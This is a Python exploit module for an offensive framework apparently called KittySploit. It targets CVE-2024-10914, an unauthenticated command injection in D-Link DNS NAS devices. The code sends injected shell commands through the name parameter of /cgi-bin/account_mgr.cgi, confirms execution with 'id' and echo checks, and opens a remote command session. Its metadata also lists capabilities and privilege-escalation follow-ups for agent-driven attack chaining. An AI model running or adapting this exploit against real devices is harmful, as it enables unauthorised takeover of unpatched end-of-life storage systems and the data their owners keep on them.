D-Link DNS NAS - account_mgr.cgi RCE (CVE-2024-10914)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""D-Link DNS NAS account_mgr.cgi unauthenticated OS command injection (CVE-2024-10914)."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler

_UID_RE = re.compile(r"uid=\d+\(\w+\).*gid=\d+\(\w+\)")
_CONTENT_TYPE_RE = re.compile(r"Content-type:.*\n?", re.I)


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "D-Link DNS NAS - account_mgr.cgi RCE (CVE-2024-10914)",
        "description": (
            "CVE-2024-10914: unauthenticated OS command injection in "
            "/cgi-bin/account_mgr.cgi (cmd=cgi_user_add). The name parameter is "
            "concatenated into system() without sanitisation. Affects EOL models "
            "including DNS-320, DNS-320LW, DNS-325, and DNS-340L. Command output "
            "is returned in the HTTP response. Opens an execute session."
        ),
        "author": ["Jared Brits (K3ysTr0K3R)", "KittySploit Team"],
        "cve": ["CVE-2024-10914"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2024-10914",
            "https://www.dlink.com/",
        ],
        "tags": [
            "dlink",
            "dns-320",
            "dns-325",
            "dns-340l",
            "nas",
            "rce",
            "cmdi",
            "unauth",
            "kev",
            "cve-2024-10914",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["dlink", "nas"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "account_mgr.cgi cmdi"},
                    {"capability": "shell", "from_detail": "execute session"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "scanner/http/dlink_dns_cve_2024_10914_detect",
                ],
            },
        },
    }

    def _path(self, cmd: str) -> str:
        command = quote(str(cmd), safe="")
        return f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{command};'"

    @staticmethod
    def _clean_output(body: str) -> str:
        return _CONTENT_TYPE_RE.sub("", body or "").strip()

    def execute(self, cmd: str) -> str:
        response = self.http_request(
            method="GET",
            path=self._path(cmd),
            allow_redirects=False,
        )
        if not response:
            return ""
        return self._clean_output(response.text or "")

    def check(self):
        body = self.execute("id")
        if _UID_RE.search(body):
            return {
                "vulnerable": True,
                "reason": f"CVE-2024-10914 confirmed: {_UID_RE.search(body).group(0)}",
                "confidence": "high",
            }
        if re.search(r"uid=\d+", body):
            return {
                "vulnerable": True,
                "reason": "CVE-2024-10914 confirmed: id output returned",
                "confidence": "high",
            }
        return {
            "vulnerable": False,
            "reason": "No command output observed from account_mgr.cgi",
            "confidence": "medium",
        }

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        print_status("CVE-2024-10914 — D-Link DNS account_mgr.cgi command injection")
        if not self.check_execute():
            self.not_vulnerable()
            return False
        print_success("Remote command execution confirmed")
        return self.handler_execute()